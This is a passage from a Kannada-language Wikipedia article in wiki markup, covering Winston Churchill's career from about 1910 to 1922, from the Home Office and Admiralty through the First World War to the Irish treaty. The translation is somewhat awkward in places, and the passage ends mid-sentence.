ಬಡ್ಜೆಟ್, ಪಾರ್ಲಿಮೆಂಟ್ ಆ‍ಯ್‌ಕ್ಟ್ ೧೯೧೧ರ ಪ್ರಕಾರ ಅಂಗೀಕರಿಸಲ್ಪಟ್ಟಿತು. ೧೯೧೦ರಲ್ಲಿ, ಅವರು ಗೃಹಮಂತ್ರಿಯಾಗಿ ಬಡ್ತಿ ಪಡೆದರು. ಸೈಜ್ ಆಫ್ ಸಿಡ್ನಿ ಸ್ಟ್ರೀಟ್ ಮತ್ತು ಕ್ಯಾಂಬ್ರಿಯನ್ ಕೊಲಿಯರಿ ಮತ್ತು ಸಫ್ರಾಗೆಟ್ಸ್‌ ಇವರು ತೋರಿತ ಪ್ರತಿಕ್ರಿಯೆಯಿಂದ ವಿವಾದ ಉಂಟಾಗಿ ಇವರ ಅಧಿಕಾರವಧಿಯು ವಿವಾದಾತ್ಮಕವಾಗಿತ್ತು. ೧೯೧೦ರಲ್ಲಿ ಅನೇಕ ಗಣಿ ಕಾರ್ಮಿಕರು ರೊಂಡಾವ್ಯಾಲಿಯಲ್ಲಿ ತೋಣಿಪಂಡಿ ರಿಯಟ್‌ನಂತೆ ತೋರುವ ದಂಗೆಯನ್ನು ಮಾಡಿದರು.<ref name="toye" /> ಗ್ಲಾಮರ್‌ಗನ್‌ನ ಮುಖ್ಯ ಪೇದೆಯು, ದಂಗೆಯನ್ನು ತಲೆ ಎತ್ತದಂತೆ ಮಾಡಲು ಪೋಲೀಸರಿಗೆ ಸಹಾಯಕವಾಗುವಂತೆ ತಂಡಗಳನ್ನು ಕಳಿಸಲು ಮನವಿ ಮಾಡಿದ. ಚರ್ಚಿಲ್ ಈಗಾಗಲೇ ಗುಂಪುಗಳು ಚಲಿಸುತ್ತಿರುವುದನ್ನು ತಿಳಿದುಕೊಂಡು, ಸ್ವಿಡನ್ ಮತ್ತು ಕ್ರಾಡಿಫ್‌ಗಳಷ್ಟು ದೂರ ಹೋಗಲು ಅನುಮತಿಯನ್ನು ನೀಡಿದ ಆದರೆ ಅವರ ನಿಯೋಜನೆಯನ್ನು ತಡೆಹಿಡಿದರು. ೯ ನವೆಂಬರ್‌ದಂದು ''ದಿ ಟೈಮ್ಸ್'' ಪತ್ರಿಕೆಯು ಈ ತೀರ್ಮಾನವನ್ನು ಟೀಕಿಸಿತು. ಇದಕ್ಕೆ ಅನುಸಾರವಾಗಿ ಚರ್ಚಿಲ್ ಗುಂಪುಗಳಿಗೆ ಮುತ್ತಿಗೆ ಹಾಕಲು ಆದೇಶ ನೀಡಿದ್ದರು ಎಂಬ ವದಂತಿ ಹಬ್ಬಿತ್ತು, ಮತ್ತು ಅವರ ಕೀರ್ತಿ ವೇಲ್ಸ್‌ನಲ್ಲಿ ಮತ್ತು ಲೇಬರ್ ಸರ್ಕಲ್‌ನಲ್ಲಿ(ಕಾರ್ಮಿಕ ವರ್ಗದಲ್ಲಿ) ಪುನಃ ಹೆಚ್ಚಾಗಲೆ ಇಲ್ಲ.<ref>ಚರ್ಚಿಲ್‌, ರಾಂಡೋಲ್ಫ್. ವಿನ್‌ಸ್ಟನ್ ಎಸ್. ಚರ್ಚಿಲ್‌: ಯಂಗ್ ಸ್ಟೇಟ್ಸ್‌ಮ್ಯಾನ್ (ಯುವ ಸ್ಟೇಟ್ಸ್‌ಮ್ಯಾನ್). (c) ೧೯೬೭ ಸಿ &amp; ಟಿ ಪ್ರಕಟಣೆಗಳು: ಪುಟಗಳು. ೩೫೯–೬೫</ref> [[File:Sidney street churchill.jpg|thumb|ಜನವರಿ 3 1911ರಲ್ಲಿ ಸಿಡ್ನಿ ಸ್ಟ್ರೀಟ್‌ನಲ್ಲಿ ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್ (ಪ್ರಮುಖವಾಗಿ)]] ೧೯೧೧ ಜನವರಿಯ ಆರಂಭದಲ್ಲಿ, ಚರ್ಚಿಲ್ ಲಂಡನ್‌ನಲ್ಲಿ ಸೈಜ್ ಆಫ್ ಸಿಡ್ನಿ ಸ್ಟ್ರೀಟ್‌ಗೆ ವಿವಾದಾಸ್ಪದ ಭೇಟಿಯೊಂದನ್ನು ನೀಡಿದರು. ವಿಚಿತ್ರವೆಂಬಂತೆ, ಯಾವಾಗ ಅವರು ಕಾರ್ಯಕಾರಿ ಆಜ್ಞೆಗಳನ್ನು ನೀಡಲು ಪ್ರಯತ್ನಿಸುತ್ತಿದ್ದರೋ, ಅವರ ಉಪಸ್ಥಿತಿಯು ಅನೇಕ ಟೀಕೆಗಳಿಂದ ಸುತ್ತುವರಿಯುತ್ತಿತ್ತು. ಒಂದು ವಿಚಾರಣೆಯ ನಂತರ ಅರ್ಥರ್ ಬಲ್‌ಫೋರ್ ಹೀಗೆ ಟೀಕಿಸಿದ, "ಅವರು [ಚರ್ಚಿಲ್] ಮತ್ತು ಒಬ್ಬ ಛಾಯಾಚಿತ್ರಕಾರ ಇಬ್ಬರೂ ಅಪಾಯಕಾರಿಯಾದ ಬೆಲೆಬಾಳುವ ಜೀವಿಗಳು. ಛಾಯಾಚಿತ್ರಕಾರ ಏನು ಮಾಡುತ್ತಿದ್ದ, ಆದರೆ ಒಬ್ಬ ಸರಿಯಾದ ಗೌರವಾನ್ವಿತ ವ್ಯಕ್ತಿ ಏನು ಮಾಡುತ್ತಿದ್ದ? ಎಂಬುದನ್ನು ನಾನು ತಿಳಿದುಕೊಂಡಿದ್ದೇನೆ." <ref>ಚರ್ಚಿಲ್‌, ರಾಂಡೋಲ್ಫ್. ''ವಿನ್‌ಸ್ಟನ್ ಎಸ್. ಚರ್ಚಿಲ್‌: ಯಂಗ್ ಸ್ಟೇಟ್ಸ್‌ಮ್ಯಾನ್ (ಯುವ ಸ್ಟೇಟ್ಸ್‌ಮ್ಯಾನ್'' . (c) ೧೯೬೭ ಸಿ &amp; ಟಿ ಪ್ರಕಟಣೆಗಳು: ಪುಟ. ೩೯೫</ref> ಜೀವನ ಚರಿತ್ರಕಾರ ರೋಯ್ ಜೆಕಿನ್ಸ್ ಹೇಳಿದಂತೆ ಅವರು ನಿರಾಳವಾಗಿ ಹೋಗಿದ್ದರು ಏಕೆಂದರೆ " ಅವರು ತಮ್ಮನ್ನು ತಮಾಷೆಯಾಗಿ ನೋಡುವುದನ್ನು ಎಂದೂ ವಿರೋಧಿಸಲಿಲ್ಲ" ಅವರು ಅಪ್ಪಣೆಗಳನ್ನೂ ಮಾಡಲಿಲ್ಲ.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟ. ೧೯೪</ref> ಸಫ್ರಾಗೇಟ್ ವಿಷಯದ ಮೇಲೆ ಜನಾಭಿಪ್ರಾಯದ ಮೂಲಕ ಪರಿಹಾರ ಕಂಡುಕೊಳ್ಳುವಾಂತೆ ಚರ್ಚಿಲ್ ಸಲಹೆ ನೀಡಿದರು ಆದರೆ ಹರ್ಬರ್ಟ್ ಹೆನ್ರಿ ಆ‍ಯ್‌ಸ್‌ಕ್ವಿತ್ ಇದಕ್ಕೆ ಸಹಕರಿಸಲಿಲ್ಲ ಆದ್ದರಿಂದ ಮೊದಲನೇ ಜಾಗತಿಕ ಯುದ್ಧ ಮುಗಿಯುವವರೆಗೆ ಈ ವಿಷಯ ಬಗೆಹರಿಯದೆ ಹಾಗೇ ಉಳಿಯಿತು.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟ. ೧೮೬</ref> ೧೯೧೧ರಲ್ಲಿ, ಚರ್ಚಿಲ್ ಫಸ್ಟ್ ಲಾರ್ಡ್ ಆಫ್ ದ ಅಡ್ಮಿರಾಲ್ಟಿಯ ಕಛೇರಿಗೆ ವರ್ಗಾವಣೆಯಾದರು, ಮೊದಲನೇ ಜಾಗತಿಕ ಯುದ್ಧದವರೆಗೆ ಅವರು ಆ ಸ್ಥಾವನ್ನು ನಿರ್ವಹಿಸಿದರು. ಹಡಗಿನ ವಾಯು ಯಾನದ ಸುಧಾರಣೆ (ಅವರು ಸ್ವತಹ ತಾವೇ ಹಾರಾಡುವುದನ್ನು ಕಲಿತುಕೊಂಡರು),<ref>[http://www.theaerodrome.com/forum/newreply.php?do=newreply&amp;noquote=1&amp;p=347553 ಚರ್ಚಿಲ್‌ ಟುಕ್ ಫ್ಲೈಯಿಂಗ್ ಲೆಸನ್ಸ್, 1911], ದ ಏರೋಡ್ರಮ್.ಕಾಮ್</ref> ಹೊಸದಾದ ಮತ್ತು ದೊಡ್ಡದಾದ ಯುದ್ಧನೌಕೆಯ ನಿರ್ಮಾಣ,ಟ್ಯಾಂಕ್‌ಗಳ ಅಭಿವೃದ್ಧಿ, ರಾಯಲ್ ನೌಕೆಯಲ್ಲಿ ಕಲ್ಲಿದ್ದಲಿನಿಂದ ಎಣ್ಣೆಗೆ ಬದಲಾವಣೆ, ಇವುಗಳನ್ನೊಳಗೊಂಡ ಅನೇಕ ಸುಧಾರಣಾ ಪ್ರಯತ್ನಗಳಿಗೆ ಅವರು ಉತ್ತೇಜನವನ್ನು ನೀಡಿದರು.<ref>''ನಾವಲ್ ಇನೋವೇಷನ್: ಫ಼್ರಾಮ್ ಕೋಲ್ ಟು ಆಯಿಲ್'' , ಎರಿಕ್ ಜೆ. ಡಾನ್ಲ್, ಜಾಯಿಂಟ್ ಫೋರ್ಸ್ ಕ್ವಾರ್ಟರ್ಲಿ, ೨೦೦೦</ref> ===ಮೊದಲ ಜಾಗತಿಕ ಸಮರ ಮತ್ತು ಯುದ್ಧೋತ್ತರದ ಸಮ್ಮಿಶ್ರಣ=== ಬೆಲ್ಜಿಯನ್ ಸರಕಾರ ತೆರವು ಮಾಡಲು ಸೂಚಿಸಿದ್ದಕ್ಕಾಗಿ, ಅದಕ್ಕಾಗಿ ಚರ್ಚಿಲ್ ೫ ಅಕ್ಟೋಬರ್ ೧೯೧೪ರಂದು ಆಂಟ್‌ವರ್ಪ್‌ಗೆ ಹೋದರು. ರಾಯಲ್ ಮರಿನ್ ಬ್ರಿಗೇಡ್ ಅಲ್ಲಿತ್ತು ಮತ್ತು ಚರ್ಚಿಲ್‌ರ ಒತ್ತಾಯದಿಂದ ೧ನೇ ಮತ್ತು ೨ನೇ ನೌಕಾ ಬ್ರಿಗೇಡ್‌ಗಳೂ ಕೂಡಾ ಅದರಲ್ಲಿ ಸೇರಿದ್ದವು. ಆಂಟ್‌ವರ್ಪ್ ಅಕ್ಟೋಬರ್ ೧೦ರಂದು ೨೫೦೦ ಸೈನಿಕರನ್ನು ಕಳೆದುಕೊಂಡಿತು. ದಾಳಿ ನಡೆಸುವ ಸಂದರ್ಭದಲ್ಲಿ ಸಂಪನ್ಮೂಲಗಳನ್ನು ವ್ಯರ್ಥವಾಗಿ ಪೋಲುಮಾಡಿದರು.<ref>''ದ ವರ್ಲ್ಡ್ ಕ್ರೈಸಿಸ್'' (ಹೊಸ ಆವೃತ್ತಿ), ಓಡ್‌ಹ್ಯಾಮ್ಸ್ ೧೯೩೮, ಪುಟ. ೩೨೩</ref> ಇವರ ವಿರೋಧವು ಒಂದು ವಾರಕ್ಕಿಂತಲೂ ಹೆಚ್ಚಾಯಿತು ಬೆಲ್ಜಿಯಂ ಆಂಟ್‌ವರ್ಪ್ ಶರಣಾಗತಿಸುವ ಕುರಿತು ೩ ಅಕ್ಟೋಬರ್‌ರಂದು ಪ್ರಸ್ತಾವಿಸಿತು) ಕಲೌಸ್ ಮತ್ತು ಡನ್‌ಕರ್ಕ್ ರಕ್ಷಿಸಲಾಯಿತು.<ref>ರಾಬರ್ಟ್ ರೋಡ್ ಜೇಮ್ಸ್. ''ಚರ್ಚಿಲ್‌: ಎ ಸ್ಟಡಿ ಇನ್ ಫೇಲ್ಯೂರ್ (ವೈಫಲ್ಯದಲ್ಲಿನ ಒಂದು ಅಧ್ಯಯನ)'' . ಪೆಲಿಕನ್, ೧೯೭೩, ಪುಟ. ೮೦</ref> ಚರ್ಚಿಲ್ ನೌಕೆಯ ಸಂಶೋಧನಾ ನಿಧಿಯಿಂದ ಹಣಕಾಸಿನ ನೆರವನ್ನು ಪಡೆದು ಟ್ಯಾಂಕ್‌ನ ಅಭಿವೃದ್ಧಿಗೆ ಕೈ ಜೋಡಿಸಿದರು.<ref name="WW1Tank" /> ನಂತರ ಅವರು, ಮೊದಲ ಟ್ಯಾಂಕ್ ದಳದ ಜವಾಬ್ದಾರಿಯನ್ನು ಹೊತ್ತಿದ್ದ ಲ್ಯಾಂಡ್‌ಶಿಪ್ಸ್ ಕಮಿಟಿಯ ಮುಖ್ಯಸ್ಥರಾದರು. ಆದಾಗ್ಯೂ ಒಂದು ದಶಕದ ನಂತರವೂ ಯುದ್ಧ ಟ್ಯಾಂಕ್‌ನ ಅಭಿವೃಧ್ಧಿಯು ಒಂದು ಚಮತ್ಕಾರಿ ಯೋಚನೆಯ ಗೆಲುವಿನಂತೆ ಕಂಡುಬರುತ್ತಿತ್ತು. ಆ ಸಮಯದಲ್ಲಿ ಇದು ನಿಧಿಯ ದುರ್ವ್ಯಯದಂತೆ ಕಂಡು ಬಂದಿತ್ತು.<ref name="WW1Tank">{{cite web|url=http://www.firstworldwar.com/weaponry/tanks.htm|title=The First World War, The development of the Tank, sponsored by Winston Churchill|accessdate=16 December 2007}}</ref> ೧೯೧೫ರಲ್ಲಿ ಮೊದಲನೇ ಮಹಾಯುದ್ಧದ ಸಂದರ್ಭದಲ್ಲಿ ಅವರು ಡಾರ್ಡಾನೆಲೀಸ್‌ನಲ್ಲಿ ವಿಪತ್ಕಾರಕ ಗಾಲಿಪೊಲಿ ನಿಲ್ದಾಣಗಳ ರಾಜಕೀಯ ಮತ್ತು ಮಿಲಿಟರಿ ಎಂಜಿನೀಯರ್‌ಗಳಲ್ಲಿ ಒಬ್ಬರಾಗಿದ್ದರು.<ref name="Dardanelles">{{cite book|last=Callwell|first=C.E.|title=Dardanelles, a study of the strategical and certain tactical aspects of the Dardanelles campaign|publisher=Naval & Military Press Ltd|year=2005|location=London|isbn=978-1-84574-273-7}}</ref> ಅವರು ಅಪಜಯಕ್ಕಾಗಿ ಸಾಕಷ್ಟು ಆಪಾದನೆಗಳನ್ನು ಎದುರಿಸಿದರು, ಮತ್ತು ಯಾವಾಗ ಪ್ರಧಾನಿ ಆಸ್ಕ್ವಿತ್ ಸರ್ವಪಕ್ಷಗಳ ಮೈತ್ರಿಕೂಟದ ಸರಕಾರವನ್ನು ರಚಿಸಿದನೋ, ಆಗ ಕನ್ಸರ್ವೇಟಿವ್ ಪಕ್ಷವು ತಮ್ಮ ಪ್ರವೇಶಕ್ಕಾಗಿ ಅವರ ಹಿಂಬಡ್ತಿಯ ಬೇಡಿಕೆಯಿಟ್ಟಿತು.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟಗಳು. ೨೮೨–೮೮</ref> [[File:WinstonChurchill1916Army.gif|thumb|ರಾಯ್ಲ್ ಸ್ಕಾಟ್ಸ್ ಫುಸಿಲಿಯರ್ಸ್ ಜೊತೆ ಚರ್ಚಿಲ್‌ 1916]] ಅನೇಕ ತಿಂಗಳುಗಳವರೆಗೆ ಚರ್ಚಿಲ್ ಲಾಭಾದಾಯಕವಾದ ಚಾನ್ಸ್‌ಲರ್ ಆಫ್ ದ ಡಚ್ಚಿ ಆಪ್ ಲೆನ್ಸೆಸ್ಟರ್‌ ಆಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದರು. ಅವರ ಸಾಮರ್ಥ್ಯಗಳ ಅನುಭವ ಪ್ರಯೋಜನವಾಗಲಿಲ್ಲ ಎಂದು ೧೯೧೫ ನವೆಂಬರ್ ೧೫ರಂದು ಅವರು ಸರಕಾರಕ್ಕೆ ರಾಜೀನಾಮೆ ಸಲ್ಲಿಸಿದರು <ref>ಜೆಂಕಿನ್ಸ್, ಪುಟ. ೨೮೭</ref> ಮತ್ತು ಸಂಸತ್ತಿನ ಸದಸ್ಯನಾಗಿ ಉಳಿದಿರುವಾಗಲೂ, ರಾಯಲ್ ಸ್ಕಾಟ್ಸ್ ಫ್ಯುಸಿಲಯರ್ಸ್‌ನ ೬ನೇ ಬಟಾಲಿಯನ್(ಪಡೆ)ನ ಮುಂದಾಳತ್ವ ವಹಿಸಿ ವೆಸ್ಟರ್ನ್ ಫ್ರಂಟ್‌ನಲ್ಲಿ ಲೆಫ್ಟಿನಂಟ್ಕರ್ನಲ್ ದರ್ಜೆಯೊಂದಿಗೆ ಅನೇಕ ತಿಂಗಳುಗಳವರೆಗೆ ಅವರು ಸೇವೆ ಸಲ್ಲಿಸಿದರು.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟ. ೩೦೧</ref><ref name="army.mod.uk">{{cite web |url=http://www.army.mod.uk/infantry/regiments/4598.aspx |title=20th and early 21st Century - British Army Website |publisher=Army.mod.uk |date= |accessdate=2011-04-03 |archive-date=2011-04-01 |archive-url=https://web.archive.org/web/20110401025251/http://www.army.mod.uk/infantry/regiments/4598.aspx |url-status=dead }}</ref> ಮುಂದಾಳತ್ವ ವಹಿಸಿದ್ದಾಗ, ಸ್ವತಹ ಅವರೆ ಮಾನವ ರಹಿತ ಭೂಮಿಯ ಮೇಲೆ ೩೬ ಆಕ್ರಮಣಗಳನ್ನು ನಡೆಸಿದರು, ಮತ್ತು ಪ್ಲೋಗ್‌ಸ್ಟ್ರೀಟ್‌ನಲ್ಲಿ ಅವರ ವಿಭಾಗವು ಕ್ರಿಯಾಶೀಲವಾಗಿತ್ತು.<ref name="army.mod.uk" /> ಅವರು ಫ್ರಾನ್ಸ್‌ನಲ್ಲಿ ವಿಶ್ರಾಂತಿರಹಿತರಾಗಿ ೧೯೧೬ ಮಾರ್ಚ್‌ನಲ್ಲಿ ಚರ್ಚಿಲ್ ಇಂಗ್ಲೆಂಡಿಗೆ ಮರಳಿದ ನಂತರ ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್‌ನಲ್ಲಿ ಮತ್ತೆ ಮಾತನಾಡಲು ಬಯಸಿದರು.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟ. ೩೦೯</ref> ಭವಿಷ್ಯದ ಪ್ರಧಾನ ಮಂತ್ರಿ ಡೇವಿಡ್ ಲಾಯಿಡ್ ಜಾರ್ಜ್ ಈ ರೀತಿಯಾಗಿ ತೀಕ್ಷ್ಣವಾಗಿ ಟಿಕಿಸಿದರು: "(ನಿಮ್ಮ) ಪತ್ರದಲ್ಲಿ ಬಹಿರಂಗಗೊಳಿಸಲ್ಪಟ್ಟ ಮನಸ್ಥಿತಿಯು ನೀವು ಅಡ್ಮಿರೇಷನ್ ಅನ್ನು ಆದೇಸಿಸುವ ಸ್ಥಳದಲ್ಲಿಯೂ ಕೂಡ ನಂಬಿಕೆಯನ್ನು ಗಳಿಸುವುದಕ್ಕೆ ಸಾಧ್ಯವಾಗದಂತೆ ಮಾಡುತ್ತದೆ ಎಂಬುದನ್ನು ನೀವು ಒಂದು ದಿನ ಅರಿಯುತ್ತೀರಿ. ಇದರ ಪ್ರತಿ ಸಾಲಿನಲ್ಲಿ, ರಾಷ್ಟ್ರೀಯ ಹೊಣೆಗಾರಿಕೆಗಳು ನಿಮ್ಮ ಸ್ವಹಿತಾಸಕ್ತಿಯಿಂದಾಗಿ ಸಂಪೂರ್ಣ ಕಾಂತಿಹೀನವಾಗಿವೆ."<ref>"[http://www.independent.ie/opinion/columnists/kevin-myers/the-greatest-20th-century-beneficiary-of-popular-mythology-has-been-the-cad-churchill-1876680.html ನೆಯ ಶತಮಾನದ ಜನಪ್ರಿಯ ಪುರಾಣ ಸಾಹಿತ್ಯದ ಬೃಹತ್ ಫಲಾನುಭವಿಯು ಕ್ಯಾಡ್ ಚರ್ಚಿಲ್‌ ಆಗಿದೆ]", ಕೆವಿನ್ ಮೈರ್ಸ್, ಇಂಡಿಪೆಂಡೆಂಟ್.ಐಇ</ref> ೧೯೧೭ರಲ್ಲಿ, ಚರ್ಚಿಲ್ ಮಿನಿಸ್ಟರ್ ಆಫ್ ಮ್ಯುನಿಶಿಯನ್ಸ್ ಮತ್ತು೧೯೧೯ ಜನವರಿಯಲ್ಲಿ ಸೆಕ್ರೆಟರಿ ಆಫ್ ಸ್ಟೇಟ್ ಫಾರ್ ವಾರ್ ಮತ್ತು ಸೆಕ್ರೆಟರಿ ಆಫ್ ಸ್ಟೇಟ್ ಫಾರ್ ಏರ್ಆಗಿ ನೇಮಕಗೊಂಡರು. ಅವರು ಟೆನ್ ಇಯರ್ ರೂಲ್‌ನ ಮುಖ್ಯ ವಿನ್ಯಾಸಕಾರರಾಗಿದ್ದರು, ಬೊಕ್ಕಸವನ್ನು ಹಿಡಿತದಲ್ಲಿಡು ಮತ್ತು ತಂತ್ರ ನಿಯಂತ್ರಿಸಲು ವಿದೇಶಿ ಮತ್ತು ಹಣಕಾಸಿನ ರಾಜನೀತಿಯ ಕಲ್ಪನೆಯಡಿಯಲ್ಲಿ " ಮುಂದಿನ ಐದು ಅಥವಾ ಹತ್ತು ವರ್ಷಗಳ ಅವಧಿಯಲ್ಲಿ ಯಾವುದೇ ಅಂತಹ ದೊಡ್ಡ ಯುರೋಪಿಯನ್ ಕದನ ಆಗಲಾರದು" ಎಂದು ಹೇಳುತ್ತಿತ್ತು.<ref>ಫೆರಿಸ್, ಜಾನ್. ''ಟ್ರಸರಿ ಕಂಟ್ರೋಲ್, ಹತ್ತು ವರ್ಷದ ಅಧಿಪತ್ಯ ಮತ್ತು ಬ್ರಿಟೀಷ್ ಸೇವಾ ಕಾಯಿದೆಗಳು, ೧೯೧೯–೧೯೨೪'' . ದ ಹಿಸ್ಟೋರಿಕಲ್ ಜರ್ನಲ್, ಆವೃತ್ತಿ. ೩೦, ಸಂಖ್ಯೆ. ೪. (ಡಿಸೆಂಬರ್, ೧೯೬೨), ಪುಟಗಳು ೧೨೧-೧೫೦.</ref> ಇವರ ವಾರ್ ಆಫೀಸಿನ ಅಧಿರಾಕಾರಾವಧಿಯಲ್ಲಿನ ಒಂದು ಮುಂದಾಲೋಚನೆಯೆಂದರೆ ರಶ್ಯನ್ ಅಂತರ್ಯುದ್ಧದಲ್ಲಿ ಒಕ್ಕೂಟದ ಮಧ್ಯ ಪ್ರವೇಶ. ವಿದೇಶಿ ಹಸ್ತಕ್ಷೇಪದಲ್ಲಿ ವಿಶ್ವಾಸಾರ್ಹತೆ ಹೊಂದಿದ್ದ ಚರ್ಚಿಲ್ ಬೊಲ್ಶೆವಿಸಮ್ ಖಂಡಿತವಾಗಿಯೂ ತನ್ನ ತೊಟ್ಟಿಲಿನ ಕೂಸನ್ನು ತಾನೇ ಹಿಸುಕುತ್ತದೆ" ಎಂದು ಘೋಷಿಸಿದ.<ref name="centre-282">{{cite web|url=http://www.winstonchurchill.org/i4a/pages/index.cfm?pageid=282|archiveurl=https://web.archive.org/web/20031216033237/http://www.winstonchurchill.org/i4a/pages/index.cfm?pageid=282|archivedate=16 December 2003|title=Cover Story: Churchill's Greatness|accessdate=26 February 2007|author=Jeffrey Wallin with Juan Williams|date=4 September 2001|publisher=Churchill Centre}}</ref> ಅವರು ಒಂದು ವಿಭಜನೆಗೊಂಡ ಮತ್ತು ಚದುರಿದ ಮಂತ್ರಿಮಂಡಳದಿಂದ, ಸಂಸತ್ತಿನಲ್ಲಿ ಅಥವಾ ದೇಶದಲ್ಲಿ - ಮತ್ತು ಕಾರ್ಮಿಕರ ಕಹಿಯಾದ ಆತಿಥ್ಯದ ಮುಖಗಳಲ್ಲಿ ಯವುದೇ ಪ್ರಮುಖ ಗುಂಪಿನ ಅಭಿಲಾಷೆಗಳನ್ನು ಹೊರತುಪಡಿಸಿ ಬ್ರಿಟೀಷ್ ತೊಡಗಿಕೊಳ್ಳುವಿಕೆಯ ತೀವ್ರತೆ ಮತ್ತು ವಿಸ್ತರಣೆಯಿಂದ ಭದ್ರತೆಯನ್ನು ಹೊಂದಿದ್ದರು. ೧೯೨೦ರ ಕೊನೆಯಲ್ಲಿ ಬ್ರಿಟಿಶ್ ಪಡೆಯು ಹಿಂದೆಗೆದುಕೊಂಡ ನಂತರ, ಅವರು [[ಯುಕ್ರೇನ್|ಉಕ್ರೇನ್]]ನ್ನು ಆಕ್ರಮಿಸಿದಾಗ ಫೋಲ್ಸ್‌ಗೆ ಸೈನ್ಯವನ್ನು ಕಳಿಸಲು ಚರ್ಚಿಲ್ ನಿಮಿತ್ತವಾದರು. ೧೯೨೧ರಲ್ಲಿ ಅವರು ಕಾಲನೀಸ್‌ಗೆ ಸೆಕ್ರೆಟರಿ ಆಫ್ ಸ್ಟೇಟ್ ಆದರು, ಮತ್ತು ಐರಿಶ್ ಫ್ರೀ ಸ್ಟೇಟ್‌ನ್ನು ಪುಷ್ಠೀಕರಿಸಿದರು. ೧೯೨೧ರ ಆಂಗ್ಲೋ ಐರಿಶ್ ಟ್ರೀಟಿ(ಆಂಗ್ಲೋ ಐರಿಶ್ ಒಪ್ಪಂದ)ಯ ಸಹಿದಾರರಾಗಿದ್ದರು. ಚರ್ಚಿಲ್ ಒಪ್ಪಂದದ ದೀರ್ಘ ಸಮಾಲೋಚನೆಯಲ್ಲಿ ಭಾಗಿಯಾಗಿದ್ದರು, ಮತ್ತು ಬ್ರಿಟಿಶ್ ಸಮುದ್ರ ತೀರದ ಹಿತಾಸಕ್ತಿಗಳನ್ನು ಕಾಪಾಡುವ ಸಲುವಾಗಿ ರಾಯಲ್ ನೇವಿಯಿಂದ ಅಟ್ಲಾಂಟಿಕ್ ತಳಹದಿಯಾಗಿ ಉಪಯೋಗವಾಗುತ್ತಿದ್ದ ಕ್ವೀನ್ಸ್‌ಟೌನ್ (ಕೊಬ್), ಬೆರ್‌ಹೆವನ್ ಮತ್ತು ಲೊಗ್‌ಸ್ವಿಲ್ಲಿ ಈ ಮೂರು ಟ್ರೀಟಿ ಪೋರ್ಟ್ಸ್‌ಗಳನ್ನು ಸೇರಿಸಲು ಅವರು ಐರಿಶ್ ಫ್ರೀ ಸ್ಟೇಟ್ ಒಪ್ಪಂದದಲ್ಲಿ ಪಾತ್ರವಹಿಸಿದರು.<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟಗಳು. ೩೬೧–೬೫</ref> ೧೯೩೮ರಲ್ಲಿ ಕೆಂಬರ್ಲೈನ್-ಡೆ ವಲೆರಾ ಆಂಗ್ಲೋ ಐರಿಶ್ ಟ್ರೇಡ್ ಅಗ್ರಿಮೆಂಟ್‌ನ ಒಪ್ಪಂದದವನ್ನು ಆಧಾರವಾಗಿಟ್ಟುಕೊಂಡು ಐರಿಶ್ ಫ್ರೀ ಸ್ಟೇಟ್‌ಗೆ ಮರಳಿದವು. ಚರ್ಚಿಲ್ [[ಇರಾಕ್|ಇರಾಕ್‌ನಲ್ಲಿ]] ಕುರ್ದಿಶ್ ಬುಡಕಟ್ಟಿನವರ ಮೇಲೆ ಅಶ್ರುವಾಯುವಿನ ಪ್ರಯೋಗದ ಸಲಹೆ ನೀಡಿದರು,<ref>ಜೋನಾಥನ್ ಗ್ಲ್ಯಾನ್ಸರಿ ಅನ್ನು ನೋಡಿ {{cite news|url=https://www.theguardian.com/world/2003/apr/19/iraq.arts|title=Gas, chemicals, bombs: Britain has used them all before in Iraq|accessdate=3 February 2009|work=The Guardian|location=London|first=Jonathan|last=Glancey|date=19 April 2003}} ಮತ್ತು ಜೋಹನ್ ಹ್ಯಾರಿ {{cite news|url=http://www.independent.co.uk/opinion/commentators/johann-hari/johann-hari-our-infantile-search-for-heroic-leaders-854278.html|title=Our Infantile Search for Heroic Leaders|accessdate=3 February 2009|work=The Independent|location=London|date=26 June 2008|archive-date=6 ಅಕ್ಟೋಬರ್ 2008|archive-url=https://web.archive.org/web/20081006163258/http://www.independent.co.uk/opinion/commentators/johann-hari/johann-hari-our-infantile-search-for-heroic-leaders-854278.html|url-status=dead}}</ref> ಆದರೂ ಬ್ರಿಟೀಷರು ಕುರ್ದಿಶ್ ದಂಗೆಕೋರರ ಮೇಲೆ ವಿಷಾನಿಲವನ್ನು ಬಳಸುವುದು ಹಿತಯವಲ್ಲ, ಅದಕ್ಕಿಂತ ಸಾಂಪ್ರದಾಯಿಕವಾದ ಸಿಡಿ ಗುಂಡಿನ ದಾಳಿ ಹೆಚ್ಚು ಪರಿಣಾಮಕಾರಿ ಎಂದು ಪರಿಗಣಿಸಲಾಯಿತು.<ref>{{cite book|last=Bhattacharya|first=Sutapas|title=The oneness/otherness mystery|publisher=Motilal Banarsidass Publ|year=1999|page=244|isbn=9788120816541|url=https://books.google.com/?id=_JnQWzQlMN8C&pg=RA4-PA244&dq=churchill+kurds+gas&q=churchill%20kurds%20gas}}</ref> ===ಕನ್ಸರ್ವೇಟಿವ್ ಪಾರ್ಟಿಗೆ ಪುನಃ ಸೇರ್ಪಡೆ—ಎಕ್ಸ್‌ಚೆಕ್ವೇರ್‌ನ ಚಾನ್ಸಲರ್=== ಚನಕ್ ಬಿಕ್ಕಟ್ಟನ್ನು ಸರಿಯಾಗಿ ನಿಭಾಯಿಸುವಲ್ಲಿ ಶಾಸಕರ ಅತೃಪ್ತಿ ವ್ಯಕ್ತವಾದ ಹಿನ್ನೆಲೆಯಲ್ಲಿ ಕನ್ಸರ್ವೇಟಿವ್ ಪಾರ್ಟಿ ಸೆಪ್ಟೆಂಬರ್‌ನಲ್ಲಿ ಸಮ್ಮಿಶ್ರ ಸರ್ಕಾರದಿಂದ ಹೊರನಡೆಯಿತು ಇದು ಅಕ್ಟೋಬರ್ ೧೯೨೨ ಸಾರ್ವತ್ರಿಕ ಚುನಾವಣೆಗೆ ಕಾರಣವಾಯಿತು. ಪ್ರಚಾರದ ಸಮಯದಲ್ಲಿ ಚರ್ಚಿಲ್ ಅನಾರೋಗ್ಯಕ್ಕೆ ತುತ್ತಾಗಿ 